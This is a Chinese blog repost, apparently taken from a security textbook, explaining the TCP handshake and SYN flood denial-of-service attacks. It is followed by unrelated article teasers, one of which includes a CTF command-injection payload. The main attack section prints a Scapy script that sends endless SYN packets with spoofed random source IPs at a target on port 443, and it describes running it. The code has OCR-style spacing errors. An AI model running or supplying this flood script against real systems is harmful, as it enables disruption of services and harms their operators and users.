传输层DoS

news2024/9/25 3:17:21

 

 

传输层是国际标准化组织提出的开放系统互联参考模型(OSI)中的第四

层。该层协议为网络端点主机上的进程之间提供了可靠、有效的报文传送服务。 平时我们所谈论的拒绝服务攻击大多是基于TCP的,因为现实中拒绝服务的对象 往往都是提供HTTP服务的服务器。

传输控制协议(Transmission Control Protocol ,TCP)是一种面向连接的、可 靠的、基于字节流的传输层通信协议。使用三次握手协议建立连接。当源主机发 出SYN连接请求后,等待目的主机应答SYN+ACK ,并最终对对方的SYN进行

ACK确认。这种建立连接的方法可以防止产生错误的连接,TCP使用的流量控制 协议是可变大小的滑动窗口协议。其具体的TCP三次握手的过程如下:

1)客户端发送SYN(SEQ=x )报文给服务器端,进入SYN_SEND状态。

2)服务器端收到SYN报文,回应一个SYN(SEQ=y)ACK(ACK=x+1)报 文,进入SYN_RECV状态。

3)客户端收到服务器端的SYN报文,回应一个ACK(ACK=y+1)报文,进 入Established状态。

fbddf8d237b5447f8da6861f1480180d.png

图9-18    TCP三次握手

三次握手完成,TCP客户端和服务器端便成功地建立连接,可以开始传输数 据了。整个TCP三次握手过程如图9-18所示。

不同于针对ICMP和UDP的拒绝服务攻击,基于TCP的拒绝服务攻击就是利用 三次握手过程实现的,一些恶意的攻击者可以向目标发送大量的TCP SYN请求数 据包。 目标计算机如果接收到大量TCP SYN报文,而没有收到发起者的第三次

ACK回应,会一直等待,处于这样尴尬状态的半连接如果很多,则会把目标计算 机的资源消耗殆尽(TCP控制结构,一般情况下是有限的),从而影响正常的

 

 

 

TCP连接请求。通常将这种攻击方式称为SYN拒绝服务攻击,其具体过程如下所 示:

1)攻击者向目标计算机发送一个TCP SYN报文。

2) 目标计算机收到这个报文后,建立TCP连接控制结构,并回应一个ACK, 等待发起者的回应。

cd5105ce0e5644008574f49c04fc0258.png

图9-19    半TCP握手

3)发起者则不向目标计算机回应ACK报文,这样导致目标计算机一直处于 等待状态。

如图9-19所示为其对应的半TCP握手。

与9.3.2节类似,可以使用随机源IP地址,伪造半TCP握手,对目标主机进行 拒绝服务攻击,其详细代码如下所示:

U

#-*- coding:utf-8 -*-

import sys

from scapy .all import *

def start(argv) :

if len(sys .argv)<2:

print(sys .argv[0] +"  <target_ip>")

sys .exit(0)

while(1) :

pds t = sys .argv[1]

send(IP(src=Rand IP(),dst=pds t)/TCP(dport=443,flags="S"))

if __name__ == '__main__ ' :

#定义异常

try:

start(sys .argv[1:])

except Keyboard Interrupt :

print("interrupted by user, killing all threads . . .")

执行程序,将目标主机IP设定为192.168.0.105 ,应用Wireshark捕获数据包, 执行效果如下所示:

 

0fcac095b47f450da6ca351160d9944d.png

 

 

 

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1439177.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

cmd卸载软件

如果使用的是Win 10&#xff0c;并且需要在磁盘内释放一些空间&#xff0c;可以直接在命令提示符里卸载不再使用的应用程序&#xff0c;和小编一起来看看详细的步骤吧。 步骤如下&#xff1a; 以管理员身份运行命令提示符来卸载程序。在Windows搜索框中&#xff0c;键入“ cm…

服务器运存使用率多少正常?

服务器运存使用率多少正常&#xff0c;这是一个相对主观的问题&#xff0c;因为服务器的正常运行不仅取决于运存使用率&#xff0c;还与服务器的工作负载、应用程序的特性和需求、服务器的配置和用途等多种因素有关。然而&#xff0c;一般来说&#xff0c;大多数服务器在运存使…

SpringCloud-Eureka原理分析

Eureka是Netflix开源的一款用于实现服务注册与发现的工具。在微服务架构中&#xff0c;服务的动态注册和发现是必不可少的组成部分&#xff0c;而Eureka正是为了解决这一问题而诞生的。 一、为何需要Eureka 在微服务架构中&#xff0c;服务之间的协同合作和高效通信是至关重要…

PostgreSql与Postgis安装

POstgresql安装 1.登录官网 PostgreSQL: Linux downloads (Red Hat family) 2.选择版本 3.安装 ### 源 yum install -y https://download.postgresql.org/pub/repos/yum/reporpms/EL-7-x86_64/pgdg-redhat-repo-latest.noarch.rpm ### 客户端 yum install postgresql14 ###…

机器学习:数据集划分笔记

数据集划分是机器学习中非常关键的步骤&#xff0c;能直接影响模型的训练效果和泛化能力。它的主要目的是为了评估模型对新数据的泛化能力&#xff0c;即模型在未见过的数据上能表现良好。 数据集通常被划分为三个部分&#xff1a;训练集&#xff08;Training set&#xff09;、…

oracle 启动命令以及ORA-01033问题处理、删除归档日志

1 启动数据库:startup 2 关闭数据库&#xff1a;Shutdown immediate 3 查看监听状态&#xff1a;lsnrctl status 4 启动监听&#xff1a;lsnrctl start 5 停止监听&#xff1a;lsnrctl stop 常见问题 1、在服务器重启后会出现&#xff0c;Oracle ORA-01033: ORAC…

CPP项目:Boost搜索引擎

1.项目背景 对于Boost库来说&#xff0c;它是没有搜索功能的&#xff0c;所以我们可以实现一个Boost搜索引擎来实现一个简单的搜索功能&#xff0c;可以更快速的实现Boost库的查找&#xff0c;在这里&#xff0c;我们实现的是站内搜索&#xff0c;而不是全网搜索。 2.对于搜索…

单片机接收PC发出的数据

#include<reg51.h> //包含单片机寄存器的头文件 /***************************************************** 函数功能&#xff1a;接收一个字节数据 ***************************************************/ unsigned char Receive(void) { unsigned char dat; …

Hadoop搭建(完全分布式)

节点分布&#xff1a; bigdata-masterbigdata-slave1bigdata-salve2 NameNode NodeManager NodeManager SecondaryNameNodeDataNodeDataNodeResourceManagerNodeManagerDataNode 目录 一、jdk安装&#xff1a; 二、hadoop安装 一、jdk安装&#xff1a; jdk-8u212链接&am…

03-抓包_封包_协议_APP_小程序_PC应用_WEB应用

抓包_封包_协议_APP_小程序_PC应用_WEB应用 一、参考工具二、演示案例&#xff1a;2.1、WEB应用站点操作数据抓包-浏览器审查查看元素网络监听2.2、APP&小程序&PC抓包HTTP/S数据-Charles&Fiddler&Burpsuite2.3、程序进程&网络接口&其他协议抓包-WireSh…

Logback - 日志框架

引言 在当今的企业级应用开发中&#xff0c;日志管理是一个不可或缺的部分。它不仅帮助我们进行错误跟踪&#xff0c;还能有效监控应用程序的运行状态&#xff0c;为性能优化提供数据支撑。Spring Boot作为一个简化Spring应用开发的框架&#xff0c;自带了强大的日志管理功能。…

pytorch训练指标记录之tensoboard,wandb

详解Tensorboard及使用教程_tensorboard怎么用-CSDN博客文章浏览阅读5.1w次&#xff0c;点赞109次&#xff0c;收藏456次。目录一、什么是Tensorboard二、配置Tensorboard环境要求安装三、Tensorboard的使用使用各种add方法记录数据单条曲线(scalar)多条曲线(scalars)直方图(hi…

如何找准用户真实需求,建立情感连接?

品牌如果想要长久发展&#xff0c;除了独特的理念以及过硬的产品质量外还需要一点&#xff0c;那就在于它能持续、正确的为用户创造生活幸福感。这满足了用户的真实需求&#xff0c;并与其产生了情感连接&#xff0c;从而让品牌有机会逐渐融入、改善用户的生活实现长期价值与口…

ctfshow——命令执行

文章目录 web 29——通配符*绕过web30——调用其他命令执行函数web 31——参数逃逸web 32-web 36——配合文件包含伪协议web 37-web 39——文件包含web 40—— web 29——通配符*绕过 i不区分大小写&#xff0c;直接?csystem(tac fl*.php); web30——调用其他命令执行函数 调用…

三天学会MySQL(十)数据库范式与表关系

目录 一.范式 1.简介 2.第一范式 3.第二范式 4.第四范式 5.范式总结 二.表关系 1.简介 2.一对多关系 3.一对一关系 4.多对多关系 一.范式 1.简介 什么是范式&#xff08; NF NormalForm &#xff09; 范式是符合某一种设计要求的总结。 在数据库中表的设计&#…

休斯顿NASA太空机器人进入最后测试阶段,或可模拟人类执行外星任务!

美国宇航局开发研制的太空智能机器人目前正在德州休斯顿的约翰逊航天中心接受最后的运行测试&#xff0c;距离太空智能化时代又要更进一步了&#xff01; NASA表示&#xff0c;日前在德州休斯顿附近的约翰逊航天中心进行测试的机器人名为Valkyrie&#xff0c;是以北欧神话中的一…

Pandas文本数据处理大全:类型判断、空白字符处理、拆分与连接【第67篇—python:文本数据】

文章目录 Pandas文本数据处理大全&#xff1a;类型判断、空白字符处理、拆分与连接1. 判断文本数据类型2. 去除空白字符3. 文本数据拆分4. 文本数据连接5. 文本数据替换6. 文本数据匹配与提取7. 文本数据的大小写转换8. 文本数据的长度计算9. 文本数据的排序10. 文本数据的分组…

APIfox自动化编排场景(二)

测试流程控制条件 你可以在测试场景中新增流程控制条件&#xff08;循环、判断、等待、分组&#xff09;等。进一步满足了更复杂的测试场景/流程配置的使用&#xff0c;最终借助自动化测试功能解决复杂场景的测试工作。 分组​ 当测试流程中多个步骤存在相关联关系时&#xf…

设计模式理解:单例模式+工厂模式+建设者模式+原型模式

迪米特法则&#xff1a;Law of Demeter, LoD, 最少知识原则LKP 如果两个软件实体无须直接通信&#xff0c;那么就不应当发生直接的相互调用&#xff0c;可以通过第三方转发该调用。其目的是降低类之间的耦合度&#xff0c;提高模块的相对独立性。 所以&#xff0c;在运用迪米特…

【第15届蓝桥杯C++青少组中/高级组选拔赛(STEMA)2023年12月17日真题】

第15届蓝桥杯C青少组中/高级组选拔赛(STEMA)2023年12月17日真题 一、单选题 第 1 题 单选题 定义字符串 string a “Hello C”&#xff0c;下列选项可以获取到字符 ‘C’ 的是&#xff08; &#xff09;。 A.a[7] B.a[6] C.a[5] D.a[4] 答案 B 第 2 题 单选题 下列选项中数值…